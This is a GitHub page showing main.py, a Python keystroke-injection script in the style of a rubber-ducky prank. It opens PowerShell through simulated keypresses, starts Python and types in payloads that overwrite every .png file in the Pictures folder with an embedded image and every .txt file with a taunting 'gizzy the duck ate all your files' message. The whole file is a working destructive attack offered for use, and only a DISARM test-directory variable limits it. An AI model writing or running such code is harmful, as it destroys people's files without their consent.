-
Notifications
You must be signed in to change notification settings - Fork 0
Collapse file tree
Files
Search this repository(forward slash) forward slash/
/
Copy pathmain.py
More file actions
More file actions
Latest commit
101 lines (88 loc) · 9.76 KB
/
main.py
File metadata and controls
101 lines (88 loc) · 9.76 KB
You must be signed in to make or propose changes
More edit options
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import keyboard as kb
#import mouse as m
import time as t
import os
def get_term(platform: str = "windows"):
if str != "osx":
kb.press_and_release("win+R")
t.sleep(0.1)
kb.write("powershell.exe",delay=0.02)
t.sleep(0.1)
kb.press_and_release("enter")
t.sleep(0.1)
DISARM = "/test" #set to a controlled directory when testing to avoid being Stupid
WIN_PAYLOAD_PNG = f"""
cd Pictures{DISARM}
python
"""
if '/' in DISARM:
print(f"safe directory {DISARM}")
WIN_PAYLOAD_TXT = f"""
cd ../..{DISARM}
python""" #assuming the directory is also in ~ with the same name
else:
print("you're cooked")
WIN_PAYLOAD_TXT = f"""
cd ..
python
"""
REPLACE_TXT = """gizzy the duck ate all your files
rejoice, greedy human
you have been blessed with peace of mind"""
PNG_PAYLOAD = "89504E470D0A1A0A0000000D49484452000000630000006308060000008F3BBE95000000097048597300000B1200000B1201D2DD7EFC00000EEA49444154785EED5D0774945516FEA6A592421A8404811069121090A68082026A44117497A280A228ACB2222A58600F6243D70515149195455C502987A220AC924008919E1005420D29A400A98494697BEF3F04266492E9E145FECBE19C90F9DFFBEFBBDFDC77EB7B288C449049080928643084C041624206431C2C643004C24206430643240908C48B6C33643004928040ACC89A2183219004046245D60C190C812420102BB266C86008240181589135430643200908C48AAC193218024940205664CD90C110480202B122AC66680D3ABC7A68018E969CC6DC2E53D02BB8330C9959A85CF503B43B1260282C82D7D851F07C7A1C14DEDE0289D471568405636B4E12A6EC7B4F5A994AA14252D43FA01AF73718F2CFD758AD322C141E0F0E85C7B058A87BDDE1B8240418292C181BB2E2F1F2C18F2511DD19D2159F2FCC823621B16E916934F09D3B1B9EA42D8D95840563F7F9148C4B9A0523FD7927AB1D86BEBFF1AA8C157E06A83A5442E165843689B6289DE2EA673EB366C26BD2C44689877060188C06CC4CFE1479150548294A83BAA0143FBE7F0E1EC565B60958AD86CFABD3E03565926DCF0BF4947060B0463C99F49624220FAD110B1766A2DBC9CB3544A6F036C058AEAC538C0A5F1FF8AD5E0975CC6D0289DA3A2BC2819170FE102624CD864667C4535B2FE2D9CD176AAD42D3A71CDADF687BE2DDC9AC1F5233E032B4BB4DDB96C2DF1F7E2BFE0D75F7DBAD4B419027C40243ABC5C59F36E2FBB5F3A0552BF06862119A941B245169EE6441FBD4109BA61FFD8E4131B319E60F289B85C16FD572A86E8D1644DCF5B3210E180444C96363A13B78C822C70A4F32E595D70CB5ADD2E5ADCA7FF37A5B1FBFA1CF09038676FB0E948E7FC66961680696411BEF7B75FB520607E1D2E24F10D2A103BC02039D9EDF9D13080346F9C2C5289F678A2B245BC054477FBCC29F0C78C93503EE410054C511007550F6F45338BB4F83F2B21804B41D80D0DB3AA3E38811C281230C18C6C24214DEDE0730500CD15A0B451303F4273D60AC20631CA487B148459F99A4ADEE510E5D8A17D91132E43B6BDA114B78787D9901656495F4D1E50220F300081C15346193D1EBC5A9086ADB160A65DDDE993BB5C17C6E61C060A62ABEFA1A97DF7E5FE24FD94207908D305C549101AEA2BC944602A62E520418A06CAA873E5D233D62AE2D9E3372A11A70A9D6D09C3F801371C0A5C2687887DF8B983113D0A2470F28299ABF1124041839870EE1C0E2C5283E9E82584D360C47BDEC9785C648094332F266DB57F5240C0403521F159E05CE2401E97B83A0D5C5E08EC993D171E4482829886C28723B18069D0E677EFD1579A9A938B1E95BF8FAFF2EAD4DA10EA10C60A8F4B3A1E218BAFF558790B6F48D861255FF6A06FD1E930D5077AB80FE0C69056D530A0F23D43D696B4AB4BE35A93B554A5A65C82361924279BC940FF57D25D6E54A762A6E3E0DA1316585DED01BA3A1F16B0FEF90E668DA261AED860D4360EBD66ED9D65C0A060BBEF8EC599C26E167EE8A83B6F424C500C711DEB10411147B35EB40DB8F0D5F34E32525B45F844217EF675178CA501D0CE76D98C87CB49701DE4B32A008A6EDCF0AB196044412AF64A6AAA9BC0828CE0652294576A92002FE51C3C811B80DE1B4AD45F6EEED12705C0246110190BC6C19CE257E89E056B968D90368D105F0B22C4B6BB2307D4EDF50DD4F01A8FA9A34E8BAF8421D53015D6ACDAD4C194100655F01886CB11424EEAAA941EAA125F0989A6FDBFBEB798A4F4196170245044EDE5120E7480894DE31E8FACC2CB41938D0E1F9ED06A3242B0B19BB7621333111C5E987A0349C846F503EDA0D3222B21BA9B78B9D12E365258CD91A184E79C290E101FD7E5FE9DFD793AA7D25F4699ED77EAD2289E96B1A7C45900EDEDFA45F739D1D165BED81063D70F03BE07CD6107419F732DA0E1D6AF7EC3681A1A7E8383D3E1E07BE5C4C7BFA3AB4EA0569DBF16F6EF7FB5C32C078410DEDDAA6D0EFF58131B726306C57D81363AFEAFA78845FEEB3EE1440D1BCBB4857091CD94C8E40721FF4983C076D870CB1F955F582C136E0C2D1A3D83167063C555B10D50F88BEDBE6B9DDFE20676E0D695ED0AD0E843ED9B425B147A56C5505FD314F48B92BAE77986988BBC1A85E34DB9DD44D1A9416F747589741E8F4F8E3086ED7AE5E99D402435F598973070E485BD1D9F82D08898847D71164D022DC2E5BA75EA05D1708ED7F832858A97F9F6C2830AA17C3F625971CC813F164F82FC5226AC848DC1A1B0BDFB0B05AEBBD0A86F6F265FCB66001F2F72F4568D419C90887DD4ADEA78753326AD0C1C61C0D745BFDA15DD3547200B812A8EE4EAE7075B6576D84CFEAD3E4E7BA6F9BAA6FC1555496C96160E2D4A8348CC023CB9643ED75CD11B90A464571313E0A0DC5B3EBB50824B7AE31937E7713F2C28261CC237B722585C2EB510F2A85C7F43C219676EE30B07F756FDC39733E22FBF6356DB1E637247C4E7E734CEC11F47C42087E9D6682C1D0FDE2670A1829B9A88E2DA63C97F538C3E917DB3881B61CF869B60FFACDF915917DFAD40463DB2BAFE0F8FA8598B0AA126A332FD1C6B9E5C71C9040096569D6BD1C80D19B0FD704E3D4D6AD6040025B6463F8BC4297C70C0EF06AD7106399120A5FB37DC9AED137E6E1FC3460E5440562BF5851FB868484F7DEC37E4ADA85DC9289CEC3800E14BBB83A9073D7B20D47BCA0A4E00F1CF035026263FEFDF38077706B4C3D75AA361825D9D9981F79CD8273543DF80DF2ACEA77911BC1D2C562B13003583E86323DA540EB7BEEC1F8B8B8DA6064EFDB87A5BD28C436232F7FA0C768A02F55451B93AB2B96F8AF71934565FE1FE90B5E7CCEF4BB016FBD858173E7DA0646F5345D4702436799D2CB32392681CCFDC077CF91C76DE6D48DDEB409ED1E7AC83E30F8F59194931AF9296564031C63E6661D458D9248DD006CA7323F6F4DE6C4F6A2695494FD60F024EDEE0562DFA140D67A8DE766957D8D7533103FCF010E5BE818F20B0FC7DFA904A1A2526FADDC94259B6149A21CA58FFA8A72562D6479D727814A2ABD6FFFC832103CAECB134FE0D1152BA4291C06431A4C39B956BDC91BA0BF5D1F73B298F427C4342795033A4A10D653CF7A78E952749B68EA9A770A0C73F9713975D074A03B1D8F682C7189BBF0E79A46C222E0C04ACADE6BEB7FCB24CA908777EF6E198CB2BC3CFCB3B9E355232E388552B6B7E92DA431D40615DE990A3A94D9BE598853E6DBDE0592575B5F3137D23DFEC30F50A84CC5F65A9AA12B2FC7C76454388BEB0A628D09A5BEE3F6834D9541EE00096C49C5B626AE985DAC39B82EBE712655F97EB38DAF1ECF3D878728DB514D162B7DAB1E7E18C7C9F77517A928B3CDF592661D099C289316A929AD4F5901A97BC4960E1277F1E6E8BC19143FFCFC36C0153E5BE92F6BD74A6DA6F582B165EA54ECFDEC335BE774E973DE14BF74799440226DE2D61E09288133C8F9C7813DFF018E6EA17A969D39CA99B4FB78D239927AC1E0B69B0D4F3FED52213B3A19C732EC4673EB8F4F30059D5D813677393A9BEBC69DDD4B202CA39EDD3D144D536788BD14D0B2255ECAA004951959DCA63277EFC6D77709B0620B2BE4544C780C6593A9E9A203D9213FC77D0D7BE5875CEACDCD4A064EC603BC2DD9AB09E62F6C4FA660D4060AC9AD8151C925582A98EBAB4C9DDBA21277FCB5228F2D949C02D61CDED2D89373DAB5268F484BEE69413A709A4E3B733E89EB0E65175D2789FE6FBC8141EF92DB650D0CFE7CDDD8B1485D498E722323D6944E0F98DC6ACE36D7D5DBC582AD20875147714011ED1605668697ED006756CD9379AE16C3F0E5CBD175DC38DBC028CBCFC78256ADA0ABA870351FF27C248189494952DDDB26CDE087D68F1F8F946FBE9185E706093CB3772F227AF6B41D8CDCE464C990734F954CAE95C0E4C3871116439E882D36A3FA9914DADBD64F98E05A4EE4D9F07A0975C4FBD56CD3B7DAF8AC2D2BC3A7D1D1B8945BFFC91F59BEB64BA025ED364FEDD8713527553DD22A18FCE0BE458BB0F985176C7F9BFC649D12E06369CF529F41F3DB6BDFDC601318DC8DBE942C7F0EA57B65724E029C8BE29C9425B2090C1EF8CB8C1948FCF043E738914763E4AA55E83CCAF29D58368371E1D8312CEAD48972008DA3414C44DC3D7C7DF1EAC58B94F8B49CF9B4190C5E1CB77E267D7CE5160311572B384FBD291B7EFF279FD4C9A55D60B0562CA5F6F5EC3D94AA94C92E0970AA7C5A66668D94F9F513D807068D3EBB7327560C1E2C7C12D12E4935C0C39D478FC6482BB93EBBC160BE374D9A84835F519F8E4C364BC052C4EDB466F00415454592769CDB4FB96599AC4AC02F22022F9D3963F54E12873483DF9EB67123BE7BE411AB8CDCEC0F68E802E4A7E8B06A753B4E7DF270180C9E346ED62CEC7C87FA3C65B22C012A4B8EA06EC118AA0DD9424E81C195C0F954CBE5DA874CB52560A99AE736CDE089456A5E10E90B1133660C467CFBAD5DE7279CD20C5E3C5F6591386F1E76D2610FD16BE60D05D61DCF3F8F0729B96AEFED6E4E8351BDC0135BB64875F30ABADEEE66268EB287CE9F6F37102C339781C1939DD9BE5DF2B0AA2ED5BE82EE6600A8D78B2F4AE90E858347BB5C0A060B3C85BC878DD400C769F79B855494F8BB7BF66CF47BFD75878170B966540BBFB1B6F938F2E5F10C0890EA1351F7D2712E27C9E59AC1FCE4A6A460095D1767D43BD0F7E8E4821A72B83FB9F5C3962C41F4FDF7BBE4B56E0183394BA3D6C5355444F933F65DB14DE06B8A5823541EAEBB76C86D60302007E988D48F7406C1481707FF5928822E877C8CAA75816DDAB87C496E0583B93D492E2FB7FA34F6289D4F17F59D360DFDE900BD17D9097790DBC160A64F6DDB866DD3A723FF77D39DB68D89D8536A46CD66FDDF7C131D860F772BEB0D0286B402AA127223352716B99E2E3C915D683D60001E58B810619DE960620350C38171653106F2B0123FF80047D6AC01B78F0A4124786FFAEF1CF842C728BA6D33889AF66EA146B3A674617D4352838351BD380E0AF9DCE0FF5E7B0D0527E966E81B407C3F60CF2953D0E5C9272D369535344B370C8CEA8596171420232141B2275C5FE77BD3597BDC4D7C36E29E3973A47BCD45A11B0EC6F582A82A2D45FE1F7F481D2817D2D2904A69E84AFA9D2B88B3A87CBF2C3791B9DB183BC2AF70605CBF88626A6F4920A39F73F0A0A43DF606911C9471CA22EABEFBA49342AE8A961D11B6B531C28361BE00CE06F31DECAC31E78F1C41517A3AF86EF6F3A4494CFE54F8F7A1B3887C7713FFDC846E7A68DEAD1B026EA1C37E8D801A151896E4C9F6457FE5A89BDAC7C7A9ACE98DC6EBFFA1BC31FFB16BE1670000000049454E44AE426082"
PY_PAYLOAD = f"""
import os
lst = os.listdir()
pngTarget = [f for f in lst if os.path.splitext(f)[1] == '.png']
replacePng = bytes.fromhex('{PNG_PAYLOAD}')
for name in pngTarget:
print('replacing png '+name)
with open(name,'wb') as file:
file.write(replacePng)
quit()
"""
PY_PAYLOAD_TXT = f"""
import os
lst = os.listdir()
txtTarget = [f for f in lst if os.path.splitext(f)[1] == '.txt']
for tar in txtTarget:
print('replacing txt '+tar)
with open(tar,"w") as file:
file.write(f'''{REPLACE_TXT}''')
quit()
"""
TEST_PAYLOAD = """
echo 3kh0
echo crypto fox
pwd
"""
def exec_payload(payload:str,delay:float=0.01):
for line in payload.splitlines():
kb.write(line,delay=delay)
t.sleep(0.05)
kb.press_and_release("enter")
t.sleep(0.1)
def refocus():
kb.press("alt+tab")
t.sleep(0.1)
kb.release("alt+tab")
t.sleep(0.2)
kb.press("alt+tab")
t.sleep(0.1)
kb.release("alt+tab")
if __name__ == "__main__":
get_term()
t.sleep(0.1)
#refocus()
t.sleep(1)
#exec_payload(TEST_PAYLOAD)
exec_payload(WIN_PAYLOAD_PNG)
t.sleep(0.1)
exec_payload(PY_PAYLOAD,delay=0.01) #i'm dropping 3kB here, got to speed up
exec_payload(WIN_PAYLOAD_TXT)
t.sleep(0.1)
#refocus()
t.sleep(0.2)
exec_payload(PY_PAYLOAD_TXT)
t.sleep(2)
exec_payload("exit")